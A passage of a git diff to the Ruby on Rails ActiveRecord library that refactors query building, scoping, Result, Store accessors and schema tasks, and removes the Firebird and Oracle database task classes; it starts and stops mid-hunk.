       if !VALID_UNSCOPING_VALUES.include?(scope)
         raise ArgumentError, "Called unscope() with invalid unscoping argument ':#{scope}'. Valid arguments are :#{VALID_UNSCOPING_VALUES.to_a.join(", :")}."
       end
 
       single_val_method = Relation::SINGLE_VALUE_METHODS.include?(scope)
-      unscope_code = :"#{scope}_value#{'s' unless single_val_method}="
+      unscope_code = "#{scope}_value#{'s' unless single_val_method}="
 
       case scope
       when :order
-        self.send(:reverse_order_value=, false)
+        self.reverse_order_value = false
         result = []
       else
         result = [] unless single_val_method
@@ -845,27 +877,25 @@ module ActiveRecord
     end
 
     def where_unscoping(target_value)
-      target_value_sym = target_value.to_sym
+      target_value = target_value.to_s
 
       where_values.reject! do |rel|
         case rel
-        when Arel::Nodes::In, Arel::Nodes::Equality
+        when Arel::Nodes::In, Arel::Nodes::NotIn, Arel::Nodes::Equality, Arel::Nodes::NotEqual
           subrelation = (rel.left.kind_of?(Arel::Attributes::Attribute) ? rel.left : rel.right)
-          subrelation.name.to_sym == target_value_sym
-        else
-          raise "unscope(where: #{target_value.inspect}) failed: unscoping #{rel.class} is unimplemented."
+          subrelation.name == target_value
         end
       end
+
+      bind_values.reject! { |col,_| col.name == target_value }
     end
 
     def custom_join_ast(table, joins)
-      joins = joins.reject { |join| join.blank? }
+      joins = joins.reject(&:blank?)
 
       return [] if joins.empty?
 
-      @implicit_readonly = true
-
-      joins.map do |join|
+      joins.map! do |join|
         case join
         when Array
           join = Arel.sql(join.join(' ')) if array_of_strings?(join)
@@ -898,6 +928,7 @@ module ActiveRecord
 
         [@klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
       when Hash
+        opts = PredicateBuilder.resolve_column_aliases(klass, opts)
         attributes = @klass.send(:expand_hash_conditions_for_aggregates, opts)
 
         attributes.values.grep(ActiveRecord::Relation) do |rel|
@@ -929,7 +960,7 @@ module ActiveRecord
           :string_join
         when Hash, Symbol, Array
           :association_join
-        when ActiveRecord::Associations::JoinDependency::JoinAssociation
+        when ActiveRecord::Associations::JoinDependency
           :stashed_join
         when Arel::Nodes::Join
           :join_node
@@ -941,7 +972,7 @@ module ActiveRecord
       association_joins         = buckets[:association_join] || []
       stashed_association_joins = buckets[:stashed_join] || []
       join_nodes                = (buckets[:join_node] || []).uniq
-      string_joins              = (buckets[:string_join] || []).map { |x| x.strip }.uniq
+      string_joins              = (buckets[:string_join] || []).map(&:strip).uniq
 
       join_list = join_nodes + custom_join_ast(manager, string_joins)
 
@@ -951,24 +982,21 @@ module ActiveRecord
         join_list
       )
 
-      join_dependency.graft(*stashed_association_joins)
-
-      @implicit_readonly = true unless association_joins.empty? && stashed_association_joins.empty?
+      joins = join_dependency.join_constraints stashed_association_joins
 
-      # FIXME: refactor this to build an AST
-      join_dependency.join_associations.each do |association|
-        association.join_to(manager)
-      end
+      joins.each { |join| manager.from(join) }
 
-      manager.join_sources.concat join_list
+      manager.join_sources.concat(join_list)
 
       manager
     end
 
     def build_select(arel, selects)
-      unless selects.empty?
-        @implicit_readonly = false
-        arel.project(*selects)
+      if !selects.empty?
+        expanded_select = selects.map do |field|
+          columns_hash.key?(field.to_s) ? arel_table[field] : field
+        end
+        arel.project(*expanded_select)
       else
         arel.project(@klass.arel_table[Arel.star])
       end
@@ -982,16 +1010,10 @@ module ActiveRecord
         when Arel::Nodes::Ordering
           o.reverse
         when String
-          o.to_s.split(',').collect do |s|
+          o.to_s.split(',').map! do |s|
             s.strip!
             s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC')
           end
-        when Symbol
-          { o => :desc }
-        when Hash
-          o.each_with_object({}) do |(field, dir), memo|
-            memo[field] = (dir == :asc ? :desc : :asc )
-          end
         else
           o
         end
@@ -999,35 +1021,50 @@ module ActiveRecord
     end
 
     def array_of_strings?(o)
-      o.is_a?(Array) && o.all?{|obj| obj.is_a?(String)}
+      o.is_a?(Array) && o.all? { |obj| obj.is_a?(String) }
     end
 
     def build_order(arel)
-      orders = order_values
+      orders = order_values.uniq
+      orders.reject!(&:blank?)
       orders = reverse_sql_order(orders) if reverse_order_value
 
-      orders = orders.uniq.reject(&:blank?).flat_map do |order|
-        case order
-        when Symbol
-          table[order].asc
-        when Hash
-          order.map { |field, dir| table[field].send(dir) }
-        else
-          order
-        end
-      end
-
       arel.order(*orders) unless orders.empty?
     end
 
     def validate_order_args(args)
-      args.select { |a| Hash === a  }.each do |h|
+      args.grep(Hash) do |h|
         unless (h.values - [:asc, :desc]).empty?
           raise ArgumentError, 'Direction should be :asc or :desc'
         end
       end
     end
 
+    def preprocess_order_args(order_args)
+      order_args.flatten!
+      validate_order_args(order_args)
+
+      references = order_args.grep(String)
+      references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
+      references!(references) if references.any?
+
+      # if a symbol is given we prepend the quoted table name
+      order_args.map! do |arg|
+        case arg
+        when Symbol
+          arg = klass.attribute_alias(arg) if klass.attribute_alias?(arg)
+          table[arg].asc
+        when Hash
+          arg.map { |field, dir|
+            field = klass.attribute_alias(field) if klass.attribute_alias?(field)
+            table[field].send(dir)
+          }
+        else
+          arg
+        end
+      end.flatten!
+    end
+
     # Checks to make sure that the arguments are not blank. Note that if some
     # blank-like object were initially passed into the query method, then this
     # method will not raise an error.
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
index de784f9..2552cbd 100644
--- a/activerecord/lib/active_record/relation/spawn_methods.rb
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -64,8 +64,7 @@ module ActiveRecord
     private
 
       def relation_with(values) # :nodoc:
-        result = Relation.new(klass, table, values)
-        result.default_scoped = default_scoped
+        result = Relation.create(klass, table, values)
         result.extend(*extending_values) if extending_values.any?
         result
       end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
index 957f122..228b2aa 100644
--- a/activerecord/lib/active_record/result.rb
+++ b/activerecord/lib/active_record/result.rb
@@ -3,11 +3,36 @@ module ActiveRecord
   # This class encapsulates a Result returned from calling +exec_query+ on any
   # database connection adapter. For example:
   #
-  #   x = ActiveRecord::Base.connection.exec_query('SELECT * FROM foo')
-  #   x # => #<ActiveRecord::Result:0xdeadbeef>
+  #   result = ActiveRecord::Base.connection.exec_query('SELECT id, title, body FROM posts')
+  #   result # => #<ActiveRecord::Result:0xdeadbeef>
+  #
+  #   # Get the column names of the result:
+  #   result.columns
+  #   # => ["id", "title", "body"]
+  #
+  #   # Get the record values of the result:
+  #   result.rows
+  #   # => [[1, "title_1", "body_1"],
+  #         [2, "title_2", "body_2"],
+  #         ...
+  #        ]
+  #
+  #   # Get an array of hashes representing the result (column => value):
+  #   result.to_hash
+  #   # => [{"id" => 1, "title" => "title_1", "body" => "body_1"},
+  #         {"id" => 2, "title" => "title_2", "body" => "body_2"},
+  #         ...
+  #        ]
+  #
+  #   # ActiveRecord::Result also includes Enumerable.
+  #   result.each do |row|
+  #     puts row['title'] + " " + row['body']
+  #   end
   class Result
     include Enumerable
 
+    IDENTITY_TYPE = Class.new { def type_cast(v); v; end }.new # :nodoc:
+
     attr_reader :columns, :rows, :column_types
 
     def initialize(columns, rows, column_types = {})
@@ -17,8 +42,20 @@ module ActiveRecord
       @column_types = column_types
     end
 
+    def identity_type # :nodoc:
+      IDENTITY_TYPE
+    end
+
+    def column_type(name)
+      @column_types[name] || identity_type
+    end
+
     def each
-      hash_rows.each { |row| yield row }
+      if block_given?
+        hash_rows.each { |row| yield row }
+      else
+        hash_rows.to_enum { @rows.size }
+      end
     end
 
     def to_hash
@@ -46,12 +83,14 @@ module ActiveRecord
     end
 
     def initialize_copy(other)
-      @columns   = columns.dup
-      @rows      = rows.dup
-      @hash_rows = nil
+      @columns      = columns.dup
+      @rows         = rows.dup
+      @column_types = column_types.dup
+      @hash_rows    = nil
     end
 
     private
+
     def hash_rows
       @hash_rows ||=
         begin
diff --git a/activerecord/lib/active_record/runtime_registry.rb b/activerecord/lib/active_record/runtime_registry.rb
index 63e6738..9d605b8 100644
--- a/activerecord/lib/active_record/runtime_registry.rb
+++ b/activerecord/lib/active_record/runtime_registry.rb
@@ -13,5 +13,10 @@ module ActiveRecord
     extend ActiveSupport::PerThreadRegistry
 
     attr_accessor :connection_handler, :sql_runtime, :connection_id
+
+    [:connection_handler, :sql_runtime, :connection_id].each do |val|
+      class_eval %{ def self.#{val}; instance.#{val}; end }, __FILE__, __LINE__
+      class_eval %{ def self.#{val}=(x); instance.#{val}=x; end }, __FILE__, __LINE__
+    end
   end
 end
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
index 53908bc..5a71c13 100644
--- a/activerecord/lib/active_record/sanitization.rb
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -3,8 +3,8 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     module ClassMethods
-      def quote_value(value, column = nil) #:nodoc:
-        connection.quote(value,column)
+      def quote_value(value, column) #:nodoc:
+        connection.quote(value, column)
       end
 
       # Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
@@ -29,6 +29,7 @@ module ActiveRecord
         end
       end
       alias_method :sanitize_sql, :sanitize_sql_for_conditions
+      alias_method :sanitize_conditions, :sanitize_sql
 
       # Accepts an array, hash, or string of SQL conditions and sanitizes
       # them into a valid SQL fragment for a SET clause.
@@ -86,6 +87,7 @@ module ActiveRecord
       #   { address: Address.new("123 abc st.", "chicago") }
       #     # => "address_street='123 abc st.' and address_city='chicago'"
       def sanitize_sql_hash_for_conditions(attrs, default_table_name = self.table_name)
+        attrs = PredicateBuilder.resolve_column_aliases self, attrs
         attrs = expand_hash_conditions_for_aggregates(attrs)
 
         table = Arel::Table.new(table_name, arel_engine).alias(default_table_name)
@@ -99,8 +101,9 @@ module ActiveRecord
       #   { status: nil, group_id: 1 }
       #     # => "status = NULL , group_id = 1"
       def sanitize_sql_hash_for_assignment(attrs, table)
+        c = connection
         attrs.map do |attr, value|
-          "#{connection.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value)}"
+          "#{c.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value, c, columns_hash[attr.to_s])}"
         end.join(', ')
       end
 
@@ -120,8 +123,6 @@ module ActiveRecord
         end
       end
 
-      alias_method :sanitize_conditions, :sanitize_sql
-
       def replace_bind_variables(statement, values) #:nodoc:
         raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
         bound = values.dup
@@ -151,8 +152,10 @@ module ActiveRecord
         end
       end
 
-      def quote_bound_value(value, c = connection) #:nodoc:
-        if value.respond_to?(:map) && !value.acts_like?(:string)
+      def quote_bound_value(value, c = connection, column = nil) #:nodoc:
+        if column
+          c.quote(value, column)
+        elsif value.respond_to?(:map) && !value.acts_like?(:string)
           if value.respond_to?(:empty?) && value.empty?
             c.quote(nil)
           else
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
index d38b241..e055d57 100644
--- a/activerecord/lib/active_record/schema_dumper.rb
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -17,9 +17,19 @@ module ActiveRecord
     cattr_accessor :ignore_tables
     @@ignore_tables = []
 
-    def self.dump(connection=ActiveRecord::Base.connection, stream=STDOUT)
-      new(connection).dump(stream)
-      stream
+    class << self
+      def dump(connection=ActiveRecord::Base.connection, stream=STDOUT, config = ActiveRecord::Base)
+        new(connection, generate_options(config)).dump(stream)
+        stream
+      end
+
+      private
+        def generate_options(config)
+          {
+            table_name_prefix: config.table_name_prefix,
+            table_name_suffix: config.table_name_suffix
+          }
+        end
     end
 
     def dump(stream)
@@ -32,10 +42,11 @@ module ActiveRecord
 
     private
 
-      def initialize(connection)
+      def initialize(connection, options = {})
         @connection = connection
         @types = @connection.native_database_types
         @version = Migrator::current_version rescue nil
+        @options = options
       end
 
       def header(stream)
@@ -202,7 +213,7 @@ HEADER
       end
 
       def remove_prefix_and_suffix(table)
-        table.gsub(/^(#{ActiveRecord::Base.table_name_prefix})(.+)(#{ActiveRecord::Base.table_name_suffix})$/,  "\\2")
+        table.gsub(/^(#{@options[:table_name_prefix]})(.+)(#{@options[:table_name_suffix]})$/,  "\\2")
       end
   end
 end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
index 6077144..a9d164e 100644
--- a/activerecord/lib/active_record/schema_migration.rb
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -4,31 +4,37 @@ require 'active_record/base'
 
 module ActiveRecord
   class SchemaMigration < ActiveRecord::Base
+    class << self
 
-    def self.table_name
-      "#{Base.table_name_prefix}schema_migrations#{Base.table_name_suffix}"
-    end
+      def table_name
+        "#{table_name_prefix}#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
+      end
 
-    def self.index_name
-      "#{Base.table_name_prefix}unique_schema_migrations#{Base.table_name_suffix}"
-    end
+      def index_name
+        "#{table_name_prefix}unique_#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
+      end
 
-    def self.create_table(limit=nil)
-      unless connection.table_exists?(table_name)
-        version_options = {null: false}
-        version_options[:limit] = limit if limit
+      def table_exists?
+        connection.table_exists?(table_name)
+      end
+
+      def create_table(limit=nil)
+        unless table_exists?
+          version_options = {null: false}
+          version_options[:limit] = limit if limit
 
-        connection.create_table(table_name, id: false) do |t|
-          t.column :version, :string, version_options
+          connection.create_table(table_name, id: false) do |t|
+            t.column :version, :string, version_options
+          end
+          connection.add_index table_name, :version, unique: true, name: index_name
         end
-        connection.add_index table_name, :version, unique: true, name: index_name
       end
-    end
 
-    def self.drop_table
-      if connection.table_exists?(table_name)
-        connection.remove_index table_name, name: index_name
-        connection.drop_table(table_name)
+      def drop_table
+        if table_exists?
+          connection.remove_index table_name, name: index_name
+          connection.drop_table(table_name)
+        end
       end
     end
 
diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb
index 0cf3d59..3e43591 100644
--- a/activerecord/lib/active_record/scoping.rb
+++ b/activerecord/lib/active_record/scoping.rb
@@ -27,6 +27,11 @@ module ActiveRecord
       end
     end
 
+    def initialize_internals_callback
+      super
+      populate_with_current_scope_attributes
+    end
+
     # This class stores the +:current_scope+ and +:ignore_default_scope+ values
     # for different classes. The registry is stored as a thread local, which is
     # accessed through +ScopeRegistry.current+.
diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb
index d37d33d..8ca5e8d 100644
--- a/activerecord/lib/active_record/scoping/default.rb
+++ b/activerecord/lib/active_record/scoping/default.rb
@@ -8,14 +8,6 @@ module ActiveRecord
         class_attribute :default_scopes, instance_writer: false, instance_predicate: false
 
         self.default_scopes = []
-
-        def self.default_scopes?
-          ActiveSupport::Deprecation.warn(
-            "#default_scopes? is deprecated. Do something like #default_scopes.empty? instead."
-          )
-
-          !!self.default_scopes
-        end
       end
 
       module ClassMethods
@@ -91,29 +83,24 @@ module ActiveRecord
           scope = Proc.new if block_given?
 
           if scope.is_a?(Relation) || !scope.respond_to?(:call)
-            ActiveSupport::Deprecation.warn(
-              "Calling #default_scope without a block is deprecated. For example instead " \
+            raise ArgumentError,
+              "Support for calling #default_scope without a block is removed. For example instead " \
               "of `default_scope where(color: 'red')`, please use " \
               "`default_scope { where(color: 'red') }`. (Alternatively you can just redefine " \
               "self.default_scope.)"
-            )
           end
 
           self.default_scopes += [scope]
         end
 
-        def build_default_scope # :nodoc:
+        def build_default_scope(base_rel = relation) # :nodoc:
           if !Base.is_a?(method(:default_scope).owner)
             # The user has defined their own default scope method, so call that
             evaluate_default_scope { default_scope }
           elsif default_scopes.any?
             evaluate_default_scope do
-              default_scopes.inject(relation) do |default_scope, scope|
-                if !scope.is_a?(Relation) && scope.respond_to?(:call)
-                  default_scope.merge(unscoped { scope.call })
-                else
-                  default_scope.merge(scope)
-                end
+              default_scopes.inject(base_rel) do |default_scope, scope|
+                default_scope.merge(base_rel.scoping { scope.call })
               end
             end
           end
diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb
index da73bea..49cadb6 100644
--- a/activerecord/lib/active_record/scoping/named.rb
+++ b/activerecord/lib/active_record/scoping/named.rb
@@ -25,22 +25,18 @@ module ActiveRecord
           if current_scope
             current_scope.clone
           else
-            scope = relation
-            scope.default_scoped = true
-            scope
+            default_scoped
           end
         end
 
+        def default_scoped # :nodoc:
+          relation.merge(build_default_scope)
+        end
+
         # Collects attributes from scopes that should be applied when creating
         # an AR instance for the particular class this is called on.
         def scope_attributes # :nodoc:
-          if current_scope
-            current_scope.scope_for_create
-          else
-            scope = relation
-            scope.default_scoped = true
-            scope.scope_for_create
-          end
+          all.scope_for_create
         end
 
         # Are there default attributes associated with this scope?
@@ -143,28 +139,17 @@ module ActiveRecord
         #   Article.published.featured.latest_article
         #   Article.featured.titles
         def scope(name, body, &block)
-          extension = Module.new(&block) if block
-
-          # Check body.is_a?(Relation) to prevent the relation actually being
-          # loaded by respond_to?
-          if body.is_a?(Relation) || !body.respond_to?(:call)
-            ActiveSupport::Deprecation.warn(
-              "Using #scope without passing a callable object is deprecated. For " \
-              "example `scope :red, where(color: 'red')` should be changed to " \
-              "`scope :red, -> { where(color: 'red') }`. There are numerous gotchas " \
-              "in the former usage and it makes the implementation more complicated " \
-              "and buggy. (If you prefer, you can just define a class method named " \
-              "`self.red`.)"
-            )
+          if dangerous_class_method?(name)
+            raise ArgumentError, "You tried to define a scope named \"#{name}\" " \
+              "on the model \"#{self.name}\", but Active Record already defined " \
+              "a class method with the same name."
           end
 
+          extension = Module.new(&block) if block
+
           singleton_class.send(:define_method, name) do |*args|
-            if body.respond_to?(:call)
-              scope = all.scoping { body.call(*args) }
-              scope = scope.extending(extension) if extension
-            else
-              scope = body
-            end
+            scope = all.scoping { body.call(*args) }
+            scope = scope.extending(extension) if extension
 
             scope || all
           end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
index a610f47..7014bc6 100644
--- a/activerecord/lib/active_record/store.rb
+++ b/activerecord/lib/active_record/store.rb
@@ -15,6 +15,11 @@ module ActiveRecord
   # You can set custom coder to encode/decode your serialized attributes to/from different formats.
   # JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
   #
+  # NOTE - If you are using PostgreSQL specific columns like +hstore+ or +json+ there is no need for
+  # the serialization provided by +store+. Simply use +store_accessor+ instead to generate
+  # the accessor methods. Be aware that these columns use a string keyed hash and do not allow access
+  # using a symbol.
+  #
   # Examples:
   #
   #   class User < ActiveRecord::Base
@@ -61,8 +66,9 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :stored_attributes, instance_accessor: false
-      self.stored_attributes = {}
+      class << self
+        attr_accessor :local_stored_attributes
+      end
     end
 
     module ClassMethods
@@ -86,8 +92,11 @@ module ActiveRecord
           end
         end
 
-        self.stored_attributes[store_attribute] ||= []
-        self.stored_attributes[store_attribute] |= keys
+        # assign new store attribute and create new hash to ensure that each class in the hierarchy
+        # has its own hash of stored attributes.
+        self.local_stored_attributes ||= {}
+        self.local_stored_attributes[store_attribute] ||= []
+        self.local_stored_attributes[store_attribute] |= keys
       end
 
       def _store_accessors_module
@@ -97,30 +106,70 @@ module ActiveRecord
           mod
         end
       end
+
+      def stored_attributes
+        parent = superclass.respond_to?(:stored_attributes) ? superclass.stored_attributes : {}
+        if self.local_stored_attributes
+          parent.merge!(self.local_stored_attributes) { |k, a, b| a | b }
+        end
+        parent
+      end
     end
 
     protected
       def read_store_attribute(store_attribute, key)
-        attribute = initialize_store_attribute(store_attribute)
-        attribute[key]
+        accessor = store_accessor_for(store_attribute)
+        accessor.read(self, store_attribute, key)
       end
 
       def write_store_attribute(store_attribute, key, value)
-        attribute = initialize_store_attribute(store_attribute)
-        if value != attribute[key]
-          send :"#{store_attribute}_will_change!"
-          attribute[key] = value
-        end
+        accessor = store_accessor_for(store_attribute)
+        accessor.write(self, store_attribute, key, value)
       end
 
     private
-      def initialize_store_attribute(store_attribute)
-        attribute = send(store_attribute)
-        unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
-          attribute = IndifferentCoder.as_indifferent_hash(attribute)
-          send :"#{store_attribute}=", attribute
+      def store_accessor_for(store_attribute)
+        @column_types[store_attribute.to_s].accessor
+      end
+
+      class HashAccessor
+        def self.read(object, attribute, key)
+          prepare(object, attribute)
+          object.public_send(attribute)[key]
+        end
+
+        def self.write(object, attribute, key, value)
+          prepare(object, attribute)
+          if value != read(object, attribute, key)
+            object.public_send :"#{attribute}_will_change!"
+            object.public_send(attribute)[key] = value
+          end
+        end
+
+        def self.prepare(object, attribute)
+          object.public_send :"#{attribute}=", {} unless object.send(attribute)
+        end
+      end
+
+      class StringKeyedHashAccessor < HashAccessor
+        def self.read(object, attribute, key)
+          super object, attribute, key.to_s
+        end
+
+        def self.write(object, attribute, key, value)
+          super object, attribute, key.to_s, value
+        end
+      end
+
+      class IndifferentHashAccessor < ActiveRecord::Store::HashAccessor
+        def self.prepare(object, store_attribute)
+          attribute = object.send(store_attribute)
+          unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
+            attribute = IndifferentCoder.as_indifferent_hash(attribute)
+            object.send :"#{store_attribute}=", attribute
+          end
+          attribute
         end
-        attribute
       end
 
     class IndifferentCoder # :nodoc:
@@ -138,7 +187,7 @@ module ActiveRecord
       end
 
       def load(yaml)
-        self.class.as_indifferent_hash @coder.load(yaml)
+        self.class.as_indifferent_hash(@coder.load(yaml || ''))
       end
 
       def self.as_indifferent_hash(obj)
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
index 71ae90b..6ce0495 100644
--- a/activerecord/lib/active_record/tasks/database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -36,9 +36,8 @@ module ActiveRecord
     module DatabaseTasks
       extend self
 
-      attr_writer :current_config
-      attr_accessor :database_configuration, :migrations_paths, :seed_loader, :db_dir,
-                    :fixtures_path, :env, :root
+      attr_writer :current_config, :db_dir, :migrations_paths, :fixtures_path, :root, :env, :seed_loader
+      attr_accessor :database_configuration
 
       LOCAL_HOSTS    = ['127.0.0.1', 'localhost']
 
@@ -51,20 +50,36 @@ module ActiveRecord
       register_task(/postgresql/,   ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
       register_task(/sqlite/,       ActiveRecord::Tasks::SQLiteDatabaseTasks)
 
-      register_task(/firebird/,     ActiveRecord::Tasks::FirebirdDatabaseTasks)
-      register_task(/sqlserver/,    ActiveRecord::Tasks::SqlserverDatabaseTasks)
-      register_task(/(oci|oracle)/, ActiveRecord::Tasks::OracleDatabaseTasks)
+      def db_dir
+        @db_dir ||= Rails.application.config.paths["db"].first
+      end
+
+      def migrations_paths
+        @migrations_paths ||= Rails.application.paths['db/migrate'].to_a
+      end
+
+      def fixtures_path
+        @fixtures_path ||= File.join(root, 'test', 'fixtures')
+      end
+
+      def root
+        @root ||= Rails.root
+      end
+
+      def env
+        @env ||= Rails.env
+      end
+
+      def seed_loader
+        @seed_loader ||= Rails.application
+      end
 
       def current_config(options = {})
         options.reverse_merge! :env => env
         if options.has_key?(:config)
           @current_config = options[:config]
         else
-          @current_config ||= if ENV['DATABASE_URL']
-                                database_url_config
-                              else
-                                ActiveRecord::Base.configurations[options[:env]]
-                              end
+          @current_config ||= ActiveRecord::Base.configurations[options[:env]]
         end
       end
 
@@ -86,11 +101,7 @@ module ActiveRecord
         each_current_configuration(environment) { |configuration|
           create configuration
         }
-        ActiveRecord::Base.establish_connection environment
-      end
-
-      def create_database_url
-        create database_url_config
+        ActiveRecord::Base.establish_connection(environment.to_sym)
       end
 
       def drop(*arguments)
@@ -111,10 +122,6 @@ module ActiveRecord
         }
       end
 
-      def drop_database_url
-        drop database_url_config
-      end
-
       def charset_current(environment = env)
         charset ActiveRecord::Base.configurations[environment]
       end
@@ -149,6 +156,29 @@ module ActiveRecord
         class_for_adapter(configuration['adapter']).new(*arguments).structure_load(filename)
       end
 
+      def load_schema(format = ActiveRecord::Base.schema_format, file = nil)
+        case format
+        when :ruby
+          file ||= File.join(db_dir, "schema.rb")
+          check_schema_file(file)
+          load(file)
+        when :sql
+          file ||= File.join(db_dir, "structure.sql")
+          check_schema_file(file)
+          structure_load(current_config, file)
+        else
+          raise ArgumentError, "unknown format #{format.inspect}"
+        end
+      end
+
+      def check_schema_file(filename)
+        unless File.exist?(filename)
+          message = %{#{filename} doesn't exist yet. Run `rake db:migrate` to create it, then try again.}
+          message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails)
+          Kernel.abort message
+        end
+      end
+
       def load_seed
         if seed_loader
           seed_loader.load_seed
@@ -161,11 +191,6 @@ module ActiveRecord
 
       private
 
-      def database_url_config
-        @database_url_config ||=
-               ConnectionAdapters::ConnectionSpecification::Resolver.new(ENV["DATABASE_URL"], {}).spec.config.stringify_keys
-      end
-
       def class_for_adapter(adapter)
         key = @tasks.keys.detect { |pattern| adapter[pattern] }
         unless key
@@ -176,7 +201,8 @@ module ActiveRecord
 
       def each_current_configuration(environment)
         environments = [environment]
-        environments << 'test' if environment == 'development'
+        # add test environment only if no RAILS_ENV was specified.
+        environments << 'test' if environment == 'development' && ENV['RAILS_ENV'].nil?
 
         configurations = ActiveRecord::Base.configurations.values_at(*environments)
         configurations.compact.each do |configuration|
diff --git a/activerecord/lib/active_record/tasks/firebird_database_tasks.rb b/activerecord/lib/active_record/tasks/firebird_database_tasks.rb
deleted file mode 100644
index 98014a3..0000000
--- a/activerecord/lib/active_record/tasks/firebird_database_tasks.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-module ActiveRecord
-  module Tasks # :nodoc:
-    class FirebirdDatabaseTasks # :nodoc:
-      delegate :connection, :establish_connection, to: ActiveRecord::Base
-
-      def initialize(configuration)
-        ActiveSupport::Deprecation.warn "This database tasks were deprecated, because this tasks should be served by the 3rd party adapter."
-        @configuration = configuration
-      end
-
-      def create
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def drop
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def purge
-        establish_connection(:test)
-        connection.recreate_database!
-      end
-
-      def charset
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def structure_dump(filename)
-        set_firebird_env(configuration)
-        db_string = firebird_db_string(configuration)
-        Kernel.system "isql -a #{db_string} > #{filename}"
-      end
-
-      def structure_load(filename)
-        set_firebird_env(configuration)
-        db_string = firebird_db_string(configuration)
-        Kernel.system "isql -i #{filename} #{db_string}"
-      end
-
-      private
-
-      def set_firebird_env(config)
-        ENV['ISC_USER']     = config['username'].to_s if config['username']
-        ENV['ISC_PASSWORD'] = config['password'].to_s if config['password']
-      end
-
-      def firebird_db_string(config)
-        FireRuby::Database.db_string_for(config.symbolize_keys)
-      end
-
-      def configuration
-        @configuration
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
index 50569d2..c755831 100644
--- a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -134,8 +134,9 @@ IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
         args << "--password=#{configuration['password']}"  if configuration['password']
         args.concat(['--default-character-set', configuration['encoding']]) if configuration['encoding']
         configuration.slice('host', 'port', 'socket').each do |k, v|
-          args.concat([ "--#{k}", v ]) if v
+          args.concat([ "--#{k}", v.to_s ]) if v
         end
+
         args
       end
     end
diff --git a/activerecord/lib/active_record/tasks/oracle_database_tasks.rb b/activerecord/lib/active_record/tasks/oracle_database_tasks.rb
deleted file mode 100644
index de3aa50..0000000
--- a/activerecord/lib/active_record/tasks/oracle_database_tasks.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module ActiveRecord
-  module Tasks # :nodoc:
-    class OracleDatabaseTasks # :nodoc:
-      delegate :connection, :establish_connection, to: ActiveRecord::Base
-
-      def initialize(configuration)
-        ActiveSupport::Deprecation.warn "This database tasks were deprecated, because this tasks should be served by the 3rd party adapter."
-        @configuration = configuration
-      end
-
-      def create
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def drop
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def purge
-        establish_connection(:test)
-        connection.structure_drop.split(";\n\n").each { |ddl| connection.execute(ddl) }
-      end
-
-      def charset
-        $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
-      end
-
-      def structure_dump(filename)
-        establish_connection(configuration)
-        File.open(filename, "w:utf-8") { |f| f << connection.structure_dump }
-      end
-
-      def structure_load(filename)
-        establish_connection(configuration)
-        IO.read(filename).split(";\n\n").each { |ddl| connection.execute(ddl) }
-      end
-
-      private
-
-      def configuration
-        @configuration
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
index 4413330..3d02ee0 100644
--- a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
@@ -59,7 +59,7 @@ module ActiveRecord
 
       def structure_load(filename)
         set_psql_env
-        Kernel.system("psql -q -f #{filename} #{configuration['database']}")
